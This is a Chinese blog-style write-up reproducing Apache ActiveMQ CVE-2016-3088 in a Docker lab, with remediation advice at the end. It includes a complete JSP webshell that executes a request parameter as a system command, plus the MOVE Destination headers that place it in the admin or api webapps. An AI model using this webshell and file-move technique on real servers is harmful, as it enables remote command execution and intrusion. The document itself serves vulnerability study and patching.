当前位置: 首页 > news >正文

activemqCVE-2016-3088漏洞复现

activemq/CVE-2016-3088漏洞复现

原理

影响版本:Apache ActiveMQ 5.x~5.14.0

漏洞原理:ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录后才能使用,fileserver无需登录。本漏洞出现在fileserver应用中,漏洞原理其实非常简单,就是fileserver支持写入文件(但不解析jsp),同时支持移动文件(MOVE请求)。所以,我们只需要写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件写入漏洞。

ActiveMQ在5.12.x~5.13.x版本中,默认关闭了fileserver这个应用(但是可以在conf/jetty.xml中开启);在5.14.0版本以后,彻底删除了fileserver应用。

参考文章

wp

开启漏洞环境

docker-compose up -d

查看

docker ps

访问端口

ip:8161

首先查看版本与绝对路径

IP:8161/admin/index.jsp?printable=trueip:8161/admin/test/systemProperties.jsp

image

image

使用bp抓包上传webshell

image

<%@ page import="java.io.*"%>
<%out.print("Hello</br>");String strcmd=request.getParameter("cmd");String line=null;Process p=Runtime.getRuntime().exec(strcmd);BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));while((line=br.readLine())!=null){out.print(line+"</br>");}
%>

image
直接修改,点击send后自动计算报文长度
将文件移动到api文件夹中

Destination:file:///opt/activemq/webapps/api/5.jsp
或者
Destination:file:///opt/activemq/webapps/admin/5.jsp

image

查看是否上传成功
image

利用
image

修复

1.升级至5.14.0

2.通过移除 conf\jetty.xml 的以下配置来禁用 ActiveMQ Fileserver 功能

http://www.jsqmd.com/news/27792/

相关文章:

  • FortiGuard实验室互联网服务安全技术解析
  • 神舟二十一号|2030年前实现中国人登陆月球的目标不动摇
  • 博客园打印 - miao
  • Python文件操作(下)_ 会写文件,程序便有了记忆
  • Python文件操作(上)_ 会读文件,程序便有了眼睛
  • KeyShot许可管理监控工具使用指南
  • 精益装配,智造未来:哲讯科技SAP解决方案赋能装配制造企业数字化转型
  • 2025 年工业陶瓷源头厂家最新推荐榜:聚焦技术与服务优选,助力企业精准采购优质工业陶瓷产品工业陶瓷/工业陶瓷管公司推荐
  • 2025 年氧化铝陶瓷源头厂家最新推荐排行榜:聚焦六大优质企业,助力下游企业精准选合作方氧化铝陶瓷管/氧化铝陶瓷棒/氧化铝陶瓷片公司推荐
  • revit api视图
  • Oracle ADG 日常巡检指南
  • Ansys Electro-Thermal Analysis
  • Oracle AWR 报告指标全解析:深入理解数据库性能优化的关键
  • Oracle 数据库 dblink 使用全解析
  • 一个白噪声+滤波器demo
  • docker compose 安装 neo4j
  • Oracle数据库七种闪回技术详解与实践示例
  • 分享一个Oracle表空间自动扩容与清理脚本
  • 精密封装,“芯”系未来:哲讯科技SAP解决方案引领芯片封装产业智造升级
  • 2025年市场上卷饼机厂家排行榜:权威推荐与选择指南
  • 2025年市场上​ 烤鸭饼机工厂推荐榜:揭秘行业领先的烤鸭饼机制造商选择指南
  • 2025年市场上烙馍机生产厂家推荐:深度解析领先企业与技术创新
  • 关于taichislam生成拓扑图过于密集
  • Python文件路径 _ 文件在哪里,代码咋知道
  • 《代码大全2》-----1
  • 递延所得税、所得税费用执行《小企业会计准则》、《企业会计准则》
  • 【脚本】一键完成MySQL任意版本的安装部署
  • 关于反外挂
  • 10/31
  • GreenPlum - How to change column type?